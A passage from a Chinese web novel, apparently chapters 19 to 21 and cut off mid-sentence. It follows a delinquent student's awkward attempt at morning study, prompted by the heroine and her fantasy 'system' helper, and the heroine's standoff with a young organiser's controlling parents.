陆季燃把手机甩进抽屉里，摸出一本英语书，翻到末尾的单词页。 他看书，书看他。 很好。 他和单词彼此都很不熟。 沉默着把英语书放一边，又翻箱倒柜半天，找出历史书。 内页干干净净，毫无笔记，就算是读，陆季燃都不知道从哪开始读。难不成要他把每个细枝末节的话，乱七八糟的标注，全都读一遍？ 语文，语文没问题。 陆季燃找出语文书，翻开，课文内容优美，情感动人，但…… 他怎么感觉自己读一两行脑子就要跑远，再把思绪拽回来，又要重头再读一遍。 陆季燃的心里浮现出淡淡死意。 这个书，他真的非读不可吗？要不就当个言而无信，只开空头支票的赖皮鬼算了。反正池又青肯定也是一时兴起，提这么个要求，也不知道是抽什么风。 陆季燃在心中对自己好言相劝半晌，最终，摸鱼的心思占据上风。明明知道教室没人在，平日里就算老师站讲台他也不怵，此刻却莫名有种做贼心虚的微妙。 弓着背，拿出手机，在桌肚子里悄悄打开，游戏的图标还没点亮，池又青就阴魂不散地出现。 youqing：看见这把吉他了吗？Freefall主唱同款，还有签名。[图片] 陆季燃反反复复把那张图打开，瞳孔一震。 他一眼就看出来，这是绝版。 有钱都买不到的那种绝版。 R：你怎么拿到的！！ youqing：这你就别管，我自有手段：） youqing：要是这个月你都能乖乖早读，我保证这把吉他在十一月会完好无损地躺进你的乐器室。 youqing：要是没有的话…… youqing：哎，我也不懂吉他，只能到时候在路边随便抓个人送给他玩玩咯。 陆季燃冷哼一声，池又青这是威胁他？ 他其实没多想要那把吉他，反正他也很多年不沾弦谱，拿着也没什么用。Freefall的歌他也很多年没听，算不上粉丝。 陆季燃冷漠地把手机关闭，放进桌肚里，继续将右手弯曲搭在桌面上当枕头，脑袋靠上去，闭眼补觉。 睡神在跟他打招呼，周公也邀请他一块玩。 但他实在见不得池又青暴殄天物。 陆季燃睁开眼，摸出手机。 R：一言为定。 不就是早读一个月吗？他就当早起来教室入定，两眼往书上一扫，任由知识自脑海里丝滑溜过，不留一分痕迹。 陆季燃呼出胸口浊气，再次翻开书本，盯着上面他看一眼就觉得心烦意乱的文字。 嗯。 这知识溜走的速度实在有点太丝滑，跟在溜冰场一样。 一行看完，看第二行，他都有点失忆，还得再回去又看一遍。 白盛飞坐母上大人的车来学校，下车的时候后脑勺狠狠挨了一巴掌，他妈从驾驶位上伸出长臂拍他，警告：“上课给我用点心，别一天到晚玩你那破游戏，听见没？” 白盛飞捂着脑袋，吊儿郎当地回了句知道，又说：“妈，亲爱的妈妈，你快去厂子里吧，别一会耽误事。” 等车一走远，就悄摸拿出手机看。 习惯性打开江城九中的校园墙。 无聊地刷着，指尖一停，目光落在一张糊得没边的照片上。 发帖人：「校霸是不是又惹事了？一大早就看到他跟保安叔叔在学校上演他追他逃，好刺激，我立刻就不困了。」 白盛飞反复把图片来来回回看了三遍，是他家陆哥没错。又瞧发帖时间。 六点四十不到。 他陆哥抽风啊？这么早来学校做什么？家里出事所以待不下去了？ 陆季燃家的情况，做了这么多年兄弟，白盛飞多少也有几分了解。他虽然不提，但看他身上偶尔多点伤，谁又猜不出来？尽管陆季燃总说，这是打架弄上的。 也就袁胖那个白痴信这一套。 白盛飞心里担心，忙往教室冲，砰地推开后门，就见陆季燃的身影已出现在最后一排。 白盛飞哀嚎：“陆哥！你没事吧！” 陆季燃两眼无神，从书里抬头，脑子刚被知识攻击完，人还是懵圈的。 陆季燃：“嗯？” 白盛飞看清他的模样，瞧见他拿着书，不是杂志，不是小说，而是教！科！书！ 白盛飞嘴角微抽，心里咯噔一下。 出事了！ 陆哥居然看书了！ 这绝壁是出大事了啊！！ 第19章 第19章陆季燃在读天书吗？！…… 袁源叼着包子，人还没走进教室，就被一股力猛地拽到一边去。 他下意识护住包子：“别、别抢！” 白盛飞恨铁不成钢：“抢个毛！眼睛睁开看！是我！” 袁源松了口气：“老白啊……” 白盛飞急得脑袋上的卷毛一弹一弹的：“出大事了！” 袁源惊慌失措：“二楼的烧烤窗口真不让开了？” 白盛飞眉毛拧成一个倒八：“滚！能别老惦记你那点吃的吗！” 袁源委屈：“那还有什么大事？” 白盛飞摁着他的脑袋，让他透过后门往里看。 高二十八班，他们班的教室里。 这个点，别的班都差不多到齐，他们班的人还没来够一半。 有人三俩成群在聊天，有人打着哈欠玩游戏，还有人直接把脚翘在桌子上，拿起手里的篮球，往黑板上画的圈里砸。 以往这个点都不会出现在教室里的陆季燃，如今竟是教室里唯一一个安静坐着，两眼死死盯着面前的书本的人。 除了他俩之外，也有同学时不时奇怪地转头看他，没想到陆季燃看书这种奇观，也会在高二十八班的教室最后一排出现。 袁源的眼珠子快掉下来：“……卧槽。” 他怎么都想不通：“那、那是我陆哥？” 白盛飞深以为然：“意识到问题的严重性了吧？” 袁源担心：“出啥事了？难、难道学校真要开除他？” 白盛飞：“啊？这又是哪门子的说法？” 袁源一情绪激动口吃的毛病就会严重，坑坑巴巴地说：“不、不然陆哥为什么忽、忽然临时抱佛脚，装、装模作样起来？” 白盛飞一琢磨，指不定还真是个理。 和袁源对对眼神，二人齐齐上前，拉开陆季燃前排的两把椅子，并坐左右，跟个哼哈二将一样，护在陆季燃身边。 白盛飞语重心长：“陆哥，你放心，不管发生了什么，我们都站在你这边。你要是需要什么帮助，不管是上书联名，还是罢学示威，我们都帮你！” 陆季燃当真有需要帮忙的，把手里的书往他们两个人面前一推：“这句什么意思？你们看得懂吗？” 白盛飞摇摇头，一问三不知：“不是，老大，咱班正经人谁听课啊？还是语文课。放别的班也是拿来睡觉的啊。” 袁源也茫然：“不造啊。” 陆季燃眉头里藏着几分烦躁，怎么看都看不懂的挫败感萦绕着他。 太久没看书，他有这么笨的？ 他妈还在的时候，总是夸他聪明，记东西很快。后来妈妈病重又去世，陆屹马不停蹄再娶，董丽成天阳奉阴违，让他再无学习心力。 但陆季燃总觉得，现在成绩差，是因为他没学。他考倒数，是因为他都不写卷子，只有来了兴趣，才会挑几道题答。 只要他一旦开始学，他就会和小时候一样，学什么都很快。 于是他放纵自己睡觉，玩游戏，刷短视频。尽管这些东西也没让他觉得快乐。他只是需要杀掉时间，一遍又一遍，逼迫自己不去想自己现在的处境究竟意味着什么。 现在久违地强迫自己坐下来，认认真真翻开一本书，陆季燃竟有种诡异的错觉。 他好像不识字了。 特别是很长很长，一段接一段的文字。看一眼，只觉得每个字符都在乱飞，进不到脑子里去。 陆季燃问二人：“你俩有字典没？能查文言文的那种？” 白盛飞开了眼：“还有这种字典？” 袁源想起来：“我好像有，上次找东西压泡面的时候看、看到过，我去找找。” 见陆季燃这么认真，白盛飞心酸：“老大，陆哥，何必呢？学校真要开除你，你跟我说，我让我教育局的叔叔来找校长算账。” 陆季燃低头翻着带有泡面水汽印记的字典，随口问：“什么开除？” 白盛飞只当他还在隐瞒，说：“你这么反常，难道不就是因为学校要因李毅的事开除你，所以才想好好表现，争取缓刑？！” 陆季燃拿手指在一个接一个的汉字上顺过，头也不抬，说：“没这回事。” 白盛飞瞪眼：“那是怎么了！你知不知道！看见你看书！我心里就没底，跟见鬼一样！” “老大，你总不能是忽然开窍，决定发愤图强吧？老大，这可算了吧。咱们什么水平？全班分加起来都赶不上人林砚辞一人。” 陆季燃动作一顿，没合上字典，只是不如刚刚认真，讲：“怎么可能？我就随便看看。” 他瞄到袁源伸爪去碰他饭盒，拿笔一敲。 袁源捂着爪子往回一缩，目光却还是紧紧粘在饭盒上，好奇：“陆哥，这里面是什么啊？又有人给你送早餐了？还是GW酒店的？” 白盛飞听馋了：“正好我还没吃饭呢，说是来学校去食堂买，结果一看你读书，让我把这事忘了。陆哥，给我也尝尝。” 陆季燃一把将饭盒捂进怀里，放到桌肚中，面不改色地撒谎：“吃完了。” 袁源不信：“我分明闻到……！” 陆季燃：“吃、完、了。” 袁源闭嘴了。 陆季燃的手搭上面前厚厚的古文字典，眼神直接：“还有事吗？” 这是要继续看书的意思？ 白盛飞：“…………” 袁源：“…………” 反常！极端滴反常！ 不仅白盛飞和袁源在蛐蛐这事，十八班的其他人也想不通陆季燃这出是为哪般。 大家的脑回路都差不多，以为陆季燃真是被退学那事震慑到了。 却没人敢像白盛飞和袁源一样，凑近来问。 毕竟陆哥的名号不是白叫。 此人的传奇从初中部就有，据说当时一人单挑三个高中部学长，打架特别狠，跟不要命一样。上了高中，十八班作为吊车尾班，什么稀奇古怪的人都有。 高一刚开学，也有人找陆季燃的麻烦，有在班上做老大的意思，后面还是被陆季燃揍服。 他半点都不怕被揍，一旦发狠，就只会针对目标。 除了袁源和白盛飞，十八班的大多人都很怕他。 结果升旗仪式的时候，教导主任老田拿着话筒在旗台上碎碎念一堆有的没的之后，又轻咳两声，说：“这个，讲点别的。我也知道有些同学私下都在讨论上两周学校里发生的一些事情。” “现在在这里，我做一个简单的小通报。” “高二一班李毅同学，行为不良，严重影响学校风纪风气，触犯法律，现已做开除处理。” 台下哗然一片。 “高二十八班，陆季燃同学。” 这名字一出，操场上站着的人都交头接耳讨论起来。毕竟陆季燃的名号，从他高一入学开始，就是每周升旗仪式里的常客。 校霸之名，如雷贯耳。 白盛飞和袁源都紧张起来，不住地回头看站在队列最后一位的少年。 陆季燃两手插在裤兜里，一副神游天外，又困又拽的模样。 “这位同学的出发点虽然是好的，但行事方式还是很错误的。所以经过多方讨论，我们一致决定——” 白盛飞和袁源的心脏都提起来。 白盛飞都准备大喊反对了，又听田主任说：“给予陆季燃同学警告处分。” “好了，通知完毕，散会。” 白盛飞：“……？” 袁源：“……？” 陆季燃克制地打了个哈欠：“愣着做什么？走了。” 白盛飞直接飞扑而上，从后偷袭陆季燃：“你早就知道是不是！” 陆季燃无奈：“我不都说了？没这回事。” 白盛飞：“那你今天突然看书做什么！” 陆季燃：“我是学生，看书是我的天职。” 白盛飞：“…………” 好有道理。 但是这话从陆季燃嘴里说出来怎么就这么怪呢？ 等回到教室，白盛飞两眼一眯，反反复复在陆季燃身上和座位边侦查。 忽然，他发现了一个华点。 白盛飞把袁源拽过来，指着陆季燃挂在椅子后的书包：“胖子，看出问题没？” 袁源认真地点点头：“他早餐还没吃完。” 白盛飞痛心疾首：“我踏马是让你看这个吗！看书包！书包！拉链上的挂件，看见没？” 绿油油的一颗小娃娃，悬在半空中，晃来晃去。 袁源：“是菜头！我爱吃！” 白盛飞：“尼玛的……” 他一巴掌打上袁源的背，低声说：“菜头 不是重点，重点这是一个毛绒小娃娃！陆哥以前从来不用的东西！这代表什么？你懂吗？” 袁源犹犹豫豫：“陆哥他……” 白盛飞迫不及待：“对！陆哥他恋爱了！正所谓爱情是使人进步的第一动力！我想通了，事实绝对是这样，所以所有事都能串起来了……哈哈哈！我真是福尔摩白！” 池又青全然不知陆季燃突然看书这事引起了这么多波澜。 她正检查着系统反馈回来的消息。 自打陆季燃的信任度突破30%大关以后，池又青就接下来了新的改造任务。 帮助陆季燃期中考成绩提高188名这个目标看似清晰，实则笼统。池又青作为一个毫无国内应试教育经验，上学主打一个混的学渣，一时半会，对这事也没什么具体的法门。 好在系统还算有良心，为她提供了指引。 step1：督促陆季燃早起学习，养成良好的作息习惯。（完成进度：1/30） 光这一步完成起来就极为费力。 因为池又青自己也起不来。 她干脆熬了个通宵，准点拿晾衣杆戳天花板，把陆季燃喊醒。 三明治本来是做给自己的夜宵，顺手也多做一份给陆季燃当早餐。 052格外尽职，时刻给池又青提醒陆季燃的早读状态。 看着（学习时间：40min）（知识吸收率：0.002%）的字样。 池又青以为自己眼花。 0.002%？陆季燃在读天书吗？！ 通宵一整夜，池又青身疲心惫，瘫在沙发上，绝望地问：【052，如果按这个吸收率，你说，他一个月真能前进188名吗？】 052：【如果前187名都交白卷的话。】 池又青：【……】 池又青想不通：【你不是说他读得还蛮认真吗？！】 052：【是的，宿主，挺认真的。但好像就是怎么读，都读不进脑子里。】 池又青：【………………？】 怪哉！ 竟还有这回事？！ 这可咋办啊？！ 池又青忧心忡忡，想到自己的任务，就觉得道阻且长。 池又青开始做梦：【052，五级以后不是可以开成就点兑换道具功能吗？你们那个商城里面，有没有什么类似小叮当的记忆面包，天才头盔，能自动写出正确答案的电脑铅笔？！】 052斩钉截铁：【没有。】 052：【但你可以花两千万成就点兑换一个哆啦A梦。】 池又青：【…………】但凡是人民币或者美元她现在就真买了。 愁啊！！ 池又青抓起沙发上的小靠枕库库往脑袋上砸，砸得枕头都皱巴巴后，她一下弹坐起来，拿出手机开始集思广益。 先问她身边学习成绩最好的朋友。 耶鲁在读，全奖获得者。 youqing：念念，你有没有什么短时间内能够快速提高学习成绩的办法啊？ 陈念（赶论文版）：有。 youqing：什么？！ 陈念（赶论文版）：做梦。 youqing：我认真的/菜刀/菜刀/菜刀 陈念（赶论文版）：你要考什么？想不开要读博了？ youqing：不是，就我亲戚家一小孩，我帮忙问的。 陈念（赶论文版）：我怎么不知道你家哪个亲戚有这种好学的小孩？还没问你呢，这段时间跑哪去了？就因为你妈让你去相亲，你就丢下我们玩消失？ 池又青干脆按下语音键撒娇：“哎呀，念念，我也不是故意的呀，实在是事出突然，不好解释。” “啵啵啵！念念宝宝亲亲亲！你别生气啦！我特意买给你的日本手作餐盘你收到了吗？老早之前就给你预定啦，感觉你会喜欢。” 陈念也回语音，声音里都是无奈：“就会撒娇，问题倒是都避开了。行了，知道你平安活着就成。至于你刚刚的问题，这真不好笼统回答，每个人适合的学习方法不一样，要因人而异的。” “提高和改善都是基于现状进行，你现在应该搞清楚的是，对方为什么之前成绩不佳？是不具备学习主动性，还是方法不适合自己，又或者，先天能力上确实有限。” 池又青琢磨着朋友的话，把陆季燃读半天书什么都没看进去这事讲了。 陈念：“他是不是有点阅读障碍？文本信息量一旦过长过多，大脑就反应不过来？” 第20章 第20章我叫裴珩，君子如珩的珩。 “池小姐，下午好。”蒋瑶背着双肩包，拎着大袋子，站在门口，有些拘谨地说，“我是收纳师瑶瑶，微信上和您联系过。您预约的整理时间是下午两点。请问我现在可以开始工作了吗？” 池又青才从床上爬起来，拖着长长的哈欠邀请她进门。 蒋瑶换上自带的一次性鞋套，把东西放在屋子角落，环顾四周，询问：“池小姐，关于收纳整理，您有什么特别的要求吗？有的话都可以告诉我。” 池又青靠着墙，擦掉眼角因为哈欠连天而漫出来的眼泪：“我这有几张图，是我之前的衣帽间，你按照这个分类标准来就行。其余的你看着来，收拾完告诉我东西在哪就好。” 她翻出之前家里的照片，发给蒋瑶。 蒋瑶：“……？” 她干这行以后，自认是见过不少世面。但拿这起码四百平的大跃层当衣帽间的，她是真第一次见。 也是让她遇上小富婆了。 蒋瑶反复确认好分类规则，立刻沉浸式投入工作。 池又青熬夜一个通宵，困得和死猪没区别，往那一坐就是个行走的尸体。但脑子里还记挂着要忙活陆季燃阅读障碍这事，没敢再睡，坐在茶几边对着电脑猛猛搞鼓。 为让自己保持清醒，又点了杯含茶量超标的奶茶，顺带给蒋瑶也买杯。 下单没多久，大门就被咚咚敲响。 池又青心想这外卖挺快啊，站起来开门。 蒋瑶先她一步，说：“池小姐，我来吧。” 嘎吱一声门打开，先传来的是蒋瑶惊讶到不可置信的声音：“你们怎么在这？” 再接着，啪地一声，是响亮耳光。 池又青赶紧把抱在腿上的电脑往沙发一丢，跑到门口，一把将侧头呆住，脸颊发红的蒋瑶拉到自己身后。 “干什么呢！”她吼回去，瞪着眼前的一男一女，“你俩谁啊！” 男的沉着脸，女的带着笑，说：“池小姐是吧？你好你好，我们是蒋瑶的爸爸妈妈。” 池又青油盐不进：“所以呢？这跟你们不请自来上门打人有什么关系？” 蒋爸爸满脸横肉，眼袋浓重，瞪着池又青，身子往前一冲，被蒋妈妈拉住。 她口红艳丽，染着红发，客气着说：“池小姐，话不能这么说。我们是蒋瑶的爸爸妈妈，她的事，就是我们的事。我们今天来，是要把瑶瑶带走的，麻烦池小姐你让让。” 池又青伸手关门：“她接了我的单，事还没办完，你俩先让让，找地方歇着吧。” 蒋妈妈脸上的笑意维持不住，忙挡住门，说：“小丫头，你怎么这么不讲理！这是我闺女！我是她妈！” 沉默许久的蒋瑶终于爆发，她近乎哀求：“爸，妈，你们先走吧，我工作结束就来找你们。” 蒋爸爸怒道：“工作？天天给别人收拾房间，算什么工作？你看看你！我和你妈辛辛苦苦养你，供你读到研究生，不是为了叫你出来给别人当保姆的！” 他看自己女儿的眼神就像看在一个残次品：“早知道有今天！就不该让你读书！你表姐高中毕业就嫁人了，现在房子车子孩子都有了，哪像你？！个没出息的！赶紧滚出来！回家！” 蒋妈妈附和道：“对啊瑶瑶，跟爸妈回去吧！你哥给你连相亲的人家都找好了，对方是体制内的，你嫂子同事，不嫌弃你现在没工作。” 蒋妈妈又抱怨：“跟你说过多少次了？与其给别人当保姆，不如找个人嫁了，伺候自己老公，不必伺候外人强？” 蒋瑶难堪极了，父母 的话就像是在一层一层扒她的衣服，将她的自尊碾碎。她不敢去看池又青的表情，怕在她脸上读出审判意味。 她深吸一口气，低着头，脚步都迈开，准备先来一招缓兵之计，手腕却被池又青拉住。 她不明所以地抬头，看见池又青坚定的侧脸。 “我再说最后一遍。”池又青盯着蒋家爸妈，“蒋瑶工作没完成，不能走。你们有什么事，等会再聊。现在，离开我家。” 蒋妈妈头一回见这种脾气的小姑娘，气得七窍生烟，伸手指着池又青：“你——你——” 蒋爸爸脾气更爆，直接把老婆往旁一推，抬手就往池又青的脸上扇。 蒋瑶瞪大眼：“爸！你做什么！” 池又青扯回越到自己身前的蒋瑶，冷笑一声。 一天到晚就扇扇扇！ 就他会扇？ 她反手就给这老登一巴掌！ 限时暴击卡的24小时时限还没过去，她继续使用后，这巴掌的力气可不小。 男人脸上身上的肉都被打得发颤，身子往旁倒去，踉跄着摔倒。 蒋妈妈吓一跳，赶忙蹲下去扶。 蒋瑶没想到是这展开，愣在原地。 池又青居高临下地看着他俩，一个电话打给物业：“有人在我家门口闹事，麻烦你们找人轰走。” 蒋妈妈哭喊：“欺负人啊这是！蒋瑶，你个没良心的！还不过来！” 蒋瑶咬住唇，心中犹豫。父母的样子实在可怜，又想到他们昨夜赶来在她的出租屋忙前忙后收拾，替她做饭的模样。她自责内疚，却又不愿意当真顺他们的意，回老家结婚。 父母说的那些话，蒋瑶想起就觉得害怕。 蒋妈妈大叫：“蒋瑶！愣着做什么！你爹都被人打了！” 池又青：“我还没问呢，你俩怎么找到这的。” 这话一下拽回蒋瑶在内疚里下坠的思绪，她清醒过来：“爸，妈，你们偷看我手机？！” 蒋妈妈昂着头：“你浑身上下哪块肉不是从我身上掉下来的？看下你手机怎么了！” 蒋瑶气得满脸发红，胸口郁结。看着父母，想哭却哭不出来，心里又悲哀又绝望，什么话都说不出来。她已经没力气了。 蒋爸爸骂她：“白眼狼！你知不知道！你不结婚！不工作！在外面给人当保姆！还在网上发！镇上有多少人在戳着你爸妈的脊梁骨！” 池又青实在听不下去：“老东西，闭嘴吧你！你女儿自己赚钱养活自己，哪里丢人了？你俩不知道维护自己女儿，反而为了那点脸面这样逼迫她，你俩才有毛病吧！” 她直白到跟挂在肉铺上杀猪的刀一样锋利的言语叫蒋家爸妈哑然一瞬。 老东西气疯，爬起来就要揍人。 池又青毫不畏惧，就等着他冲上来再还手。 她家门铃带监控，录着呢。 等老东西打过来，她就是自主防卫。 看她不在暴击卡的加持下，两巴掌把他扇成肉泥！ 池又青暗自打着算盘。 一只手却忽然出现，将蒋爸甩到一旁。电梯里走出来个男人，光看背影，池又青还以为是物业部来的帅哥，身材一流，宽肩窄腰个子高。 对方转身，池又青惊讶。 “小师傅？” 那天她在酒店打车遇到的开欧陆的司机。 他怎么在这？ 男人冲她颔首：“池小姐。” 眸光冷扫过蒋家父母，走到她的身边，低声询问：“需要帮忙吗？” 池又青摇摇头。 “好。”说完这字，男人当真就往旁一站，只是目光一直看着蒋家父母，直把两人看得心虚不已。 池又青上前一步，两手环于胸前，冲着蒋爸爸笑：“刚刚不是挺来劲吗？怎么？不打了？” “叔叔，是不是我刚刚那巴掌没把你扇明白啊？谁教你的欺软怕硬？来个男人就不敢动手了？我告诉你，没他我照样揍你。” “泼妇——！”蒋妈妈扶住自己气得发抖的丈夫，指着池又青的鼻子骂，“疯女人！你简直就是个疯女人！” “对啊，我就是疯子。”池又青眼睛弯弯，皮笑肉不笑，“我没蒋瑶懂事，进大学后就没要过你们一分钱，全靠奖学金和打工撑着。毕业后第一件事就是还助学贷款，你们却闹着要她给哥哥借钱买房。” “真是山猪吃不来细糠，有这么懂事的女儿不知道珍惜，还跑来疯子门口乱叫。现在又催她结婚，这到底是为了面子，还是为了票子，你俩自己清楚。” 被戳中心思，蒋妈妈慌道：“你闭嘴！小姑娘家家的！没口德！在这吵吵闹闹，就不怕邻居笑话吗！” 池又青兴高采烈：“来人最好啊！我这人喜欢热闹，你最好叫大声点，把整栋楼的人都叫来，让他们看看，你们是怎么对待自己女儿的。不然我拍下来，发到网上，让其他人也瞧瞧？” 蒋妈妈看她拿起手机，赶紧捂着脸：“别拍！不准拍！” 见没用，扑上来要抢。 蒋瑶一下拦住，声音艰涩：“妈，够了，求你。” 蒋瑶从没觉得池又青提的那些事艰难，她一贯认为这是她的命，就该如此。 考上大学，家里没钱，哥哥又结婚，花费巨大，所以她自己贷款，自己赚钱，是应该。 工作以后，有了收入，想让父母知道自己有用，已经长大，所以按他们的要求打钱回去，也是应该。 就算他们昨天闯入出租屋，没经过她同意打包东西要让她搬家，她也觉得是因为他们不了解自己在做的事，她没讲清楚，有误会，更是应该。 可真如此吗？ 如今见一个陌生的客户站在她身前，为她和父母对峙，她眼眶一热，在无数次争吵里压抑住的情绪终于突破堵塞，汹涌而出。 “爸，妈……就这一次，你们能不能放过我？！我只是想过我自己想要的生活！！我这一路走来，什么都靠自己。我没想着要你们给我助力，帮我什么，但至少……我求你们……不要拉着我往下拽啊！” 蒋瑶说着说着，眼泪就不受控地淌出来。 直到物业赶来，把不情不愿的蒋家父母吵闹着拉走，蒋瑶仍然泣不成声，哭得极为痛心。 见她这样，池又青束手无措。 怎么哭这样厉害？难道是她刚刚说话太过难听？哎，好歹也是别人爸妈…… 不擅长安慰人的池又青愁得，忙去看在场另外一人，示意他想个办法。 裴珩眉眼里写满不确定，指指自己，显然很困惑自己在这个时候又忽然派上用场。 池又青用力点头。 裴珩不动声色地叹口气，从兜里拿出小包纸巾递给池又青，让她给蒋瑶，又说：“需要报警吗？可以让物业直接联系警方。” 蒋瑶摇头，拿着纸不好意思地擤把鼻涕，哽咽着说：“不用不用，他俩最好面子，像刚刚那样被赶走，绝对不会再来。” 说完，转头对池又青鞠躬道歉：“池小姐，对不起，今天给你添麻烦了。” 池又青哎呀两声，伸手把她扶起来：“这算什么呀，我还要跟你道歉呢！刚刚对你爸妈，我态度是有些不好。” 蒋瑶摆手：“不，池小姐，你千万不要这样说。谢谢你替我撑腰，说了许多我过去不敢说的话。但是我爸妈，他们其实也不是什么坏人。” 蒋瑶眼睫上还留着刚刚哭过的泪珠：“我有的时候能感受到，他们其实是爱我的，只是——” “更爱你哥和他们的面子。”池又青替她说出卡在嗓子眼里的话。 蒋瑶苦笑，不得不承认这个事实：“是啊，我有的时候宁愿他们坏得彻底一点。” 她说：“而不是现在这样，就像一件湿透的衣服，不穿会冷，穿上更冷。” 蒋瑶深吸口气，对着池又青勉强笑起来：“池小姐，不提这些恼人的事。不过，你怎么知道我之前的事？” 池又青：“当初我在平台联系你的呀，你的第一篇图文，就分享了自己的从业故事，里面提过。” 蒋瑶脸红红：“原来是这样。池小姐，真是不好意思，今天让你看笑话了。” 池又青拉 住她的手，很认真地说：“蒋瑶，这不是笑话。我刚刚说的那些话，也不是为了气你父母。我是真心诚意地觉得，你很棒，也很用心在用自己的方式过自己的生活。” “蒋瑶，这很了不起。” “至于你刚刚说的衣服……蒋瑶，这世界上又不是只有这一件衣服。”池又青拍拍她垂丧的脑袋，“你要相信自己，你完全有能力给自己创造一件新的衣服。” “你自己就是做收纳整理的，应该比我更明白。如果一件衣服只能带来痛苦，那就丢掉它。” “可是这样是不是不太好？”蒋瑶问。 “让你觉得舒服的事才能算好，这衣服你都穿着不舒服了，怎么都不会好的。”池又青答。 蒋瑶心底发烫，小声地说：“池小姐，我知道了，我会努力试试的。” 蒋瑶好不容易憋住的眼泪又要滚下来，池又青慌乱不已，示意裴珩再来几张纸。 一边给女孩擦着眼泪，池又青一边说：“这事你想想，你要怎么选。要是不想回家，就不回去。要是还想跟他俩谈谈，现在追上也来得及。” 蒋瑶抬起头：“池小姐，我想清楚了，我现在和他们没什么好谈的。如果你不介意的话，我想继续帮你收拾，这是我的工作，不能为这点事耽误。这单免费，池小姐，你看可以吗？” 池又青毫不犹豫：“不可以哦。” 蒋瑶心空一拍，苦笑：“好的。” 果然还是她今天太丢人了。 也是。 爸妈都闹到客户门口来，换谁都会觉得晦气。 蒋瑶低垂着头，自知理亏，道：“池小姐，今天实在是对不住。” 哪知池又青拍拍她的肩膀，笑着说：“想什么呢？我说不可以的意思是，这免费可不行啊，哪有白让你跑过来干活的道理？去忙吧去忙吧，忙完早点休息。” 蒋瑶难忍心热，上前用力抱了下这位特别的客人，又朝旁边的男人微微鞠躬示意，一边拿手背抹眼泪，一边继续回屋收拾。 这拥抱一触即离，池又青没反应过来呢，人就跑了。她正准备拍拍蒋瑶后背的手现在只能悬在半空。 尴尬地放下后，池又青一个眼神瞧向旁边的人。 裴珩从善如流地回：“我什么都没看见。” 池又青无言。 谁问你这个！ 她拿手把散乱的发丝捋到耳后，瞧着眼前的人，问：“所以，我老早就想问，小师傅，你怎么会在这？” 这破打车软件总不会这么变态吧？私下偷偷透露的她的住址。 池又青的思路一向了得。 她的脑子已经迈入法制频道，看着眼前的男人，眼神中有显而易见的警惕。 裴珩瞧出来，把一直拿在手里的文件夹递来：“池小姐，我是1101前房主的朋友，受他之托，把水电相关的计费卡和资料带给你。” “另外。”男人的目光平静而深邃，坦然地对上池又青眼眸，很认真地说，“我叫裴珩，君子如珩的珩。” 听着这自我介绍，池又青的细眉蹙拢，深思起来。 20-30 第21章 第21章裴先生，要赚外快吗？ “稍等。”池又青把手机摸出来，跟男人说，“我查个东西。” 裴珩颔首：“好的。” 他见女孩认真翻看手机，半晌后，恍然大悟般抬头，望着自己，说：“我知道了——！” 裴珩礼貌道：“对，是我。” 池又青却说：“斜王旁一个行是吧！我还以为这个字读xing呢！原来是heng！好的，裴先生，我记住啦！” 裴珩的眉眼微不可查地皱起一瞬，问：“池小姐，你刚刚是在查我的名字怎么写吗？” 池又青点头：“对啊，你讲得那么认真，我当然要查一查！毕竟是你的名字，搞错就不好了。” 裴珩看着她明媚的眸子，澄澈到丝毫找不出别的情绪。 他内心轻叹，面上温和：“谢谢，的确常有人弄错。” 池又青觉得自己可贴心了：“是吧！” 不过，他怎么知道自己姓池？从刚刚开始就叫她池小姐。 她有在打车软件里输入真名吗？池又青记不清了。自打在江城提车后，她就把软件卸载，没再看一眼。扣款也是自动，没操一份心。 对眼前这位司机师傅，池又青的记忆倒是很深。 无它，唯帅而已。 先前在车上没发现，如今面对面，池又青才发现他这身高身材，都足以去当模特。宽松简单的浅色衬衫套在黑色针织衫内，中和了黑色的沉闷。袖口挽起，露出戴着腕表的半截小臂。 好适合拿来画画。 这腕表也配他，黑色皮质表带与暗金色的表盘轮廓相接，和他今天的衣服搭得正好，休闲又不失成熟。 此男颇有几分品味。 一般这么会穿的男人，不是明骚，就是闷骚。 池又青的目光在他的腕表上多停顿了几秒。 这表真有点眼熟啊，在哪见过吗？她对腕表算不上热衷，一时半会真想不起来什么。 思绪只闪一瞬，池又青回应着眼前人的自我介绍：“我叫池又青！池塘的池，你好像已经知道。至于又青……” 池又青停顿片刻。 裴珩接了句：“去时陌上花似锦，今日楼头柳又青。” 池又青嘴巴微张：“啊？” 裴珩提醒：“你的名字。” 池又青哭笑不得：“我还是第一次听这个说法呢！裴先生，我姥姥给我取名的时候，可能没想到这层。” 裴珩虚心求教：“那是？” 池又青笑着说：“有个台湾偶像剧！我奶奶很喜欢那个女主角！我爸妈离婚后，她就重新给我取了这个名字！” 池又青每每想到这件事就忍不住庆幸：“还好她喜欢的不是别的，不然我现在可能该叫池秋穗，池湘琴，池天瑜，比划会很多，写起来麻烦，罚抄名字的时候就会费事……” 兀自吐槽着，抬眸才发现裴珩一脸正色，全然没懂她在说什么。 哎，没看过青春台偶的男人。 池又青在心中摇头。 “总之，裴先生，谢谢你跑这趟。”她晃晃手里的文件夹，“还有刚才的事，多谢。” 裴珩的目光从她带笑的眼眸上移过，说：“我也没帮上什么，不用客气。” 池又青心中自有把称：“你给我递了纸巾呀。” “再说，你特意来这一趟，本就耽误你的事，影响你工作。这段时间，够你接好几单了。” 裴珩眉头蹙起：“池小姐，你误会，我——” 话没说完，池又青一脸‘别跟我客气’的样子，拿出手机，屏幕上亮着二维码：“我们加个好友吧。” 她说：“我把这段时间的误工费转你。” 裴珩低眸，看见屏幕上二维码中间的猫猫头像，嚣张又可爱。 他眼睫很长，在下眼睑落下淡淡阴影，静声说：“不用。” 池又青也不强求，把手机放回兜里，说：“好吧。” 她看着他：“那裴先生，还有事吗？” 裴珩嗯了声：“关于车位转赠，我朋友也委托我代办。池小姐这两天什么时间有空？我们去物业中心处理手续。” 池又青左右低头准备掏手机，就见裴珩抬腕，扫了眼，说：“现在三点十八。” 离陆季燃放学还早呢。 池又青便说：“现在就有。” 她把文件夹放在玄关处：“裴先生，稍等，我换个衣服。要不你先进来？沙发上坐坐，我给你倒杯水。” 人大老远跑来帮她，说不定还耽误对方接单赚钱，总不好一直把人晾在门口吧？ 裴珩却说：“我在这就好。” 池又青没强求，快步走进卧室。 蒋瑶正在整理呢，情绪稳定多了，见她出现，还冲她笑。 池又青说：“你忙你的，不用管我。我换个衣服出门一趟，等下再回来哦。” 再出来时，裴珩依旧站在门口，半倚着 